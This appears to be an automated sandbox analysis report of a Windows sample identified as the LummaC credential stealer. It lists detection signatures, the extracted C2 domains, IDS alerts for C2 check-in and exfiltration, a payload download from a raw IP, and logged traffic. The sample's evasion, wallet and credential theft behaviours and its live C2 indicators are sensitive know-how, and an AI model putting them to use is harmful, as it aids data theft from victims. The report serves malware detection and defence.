Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559393
MD5:	fc844f11eae3337614e9b7bc196e7066
SHA1:	8409f8f5dc1a747a95a7a741e3835c6beac1e850
SHA256:	ea5eb2f0f1011b95d99f23fe1fb4fcbc5cffff1b225f20598e9e3612bb293d3a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4360 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FC844F11EAE3337614E9B7BC196E7066)

chrome.exe (PID: 5832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2884 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1908,i,16866088290354366866,11762703884386129565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7392 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1976,i,15534154704042037435,5378647065527263683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "processhol.sbs", "peepburry828.sbs", "p10tgrace.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1561723800.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1526544111.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1540497373.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4360	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4360	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T13:27:16.099132+0100	2028371	3	Unknown Traffic	192.168.2.8	49705	188.114.96.3	443	TCP
2024-11-20T13:27:18.205038+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	188.114.96.3	443	TCP
2024-11-20T13:27:19.985217+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T13:27:22.133064+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T13:27:23.476651+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	188.114.96.3	443	TCP
2024-11-20T13:27:25.549591+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	188.114.96.3	443	TCP
2024-11-20T13:27:26.958660+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	188.114.96.3	443	TCP
2024-11-20T13:27:30.372167+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T13:27:17.629949+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49705	188.114.96.3	443	TCP
2024-11-20T13:27:19.215812+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49706	188.114.96.3	443	TCP
2024-11-20T13:27:32.179914+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49713	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T13:27:17.629949+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49705	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T13:27:19.215812+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49706	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T13:27:32.877731+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49716	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T13:27:25.913159+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49710	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.1809216962.0000000006092000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694821983.0000000008170000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 12:27:32 GMTContent-Type: application/octet-streamContent-Length: 2756608Last-Modified: Wed, 20 Nov 2024 12:17:54 GMTConnection: keep-aliveETag: "673dd372-2a1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 16 fd 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 77 68 74 74 66 6e 61 00 c0 29 00 00 a0 00 00 00 b0 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 70 79 69 6f 78 6f 72 00 20 00 00 00 60 2a 00 00 04 00 00 00 ea 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 ee 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.43 13.107.246.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49716 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49741 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3dGkyd5ARhC66Bm&MD=gp69vOxd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=179328-179328If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3dGkyd5ARhC66Bm&MD=gp69vOxd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
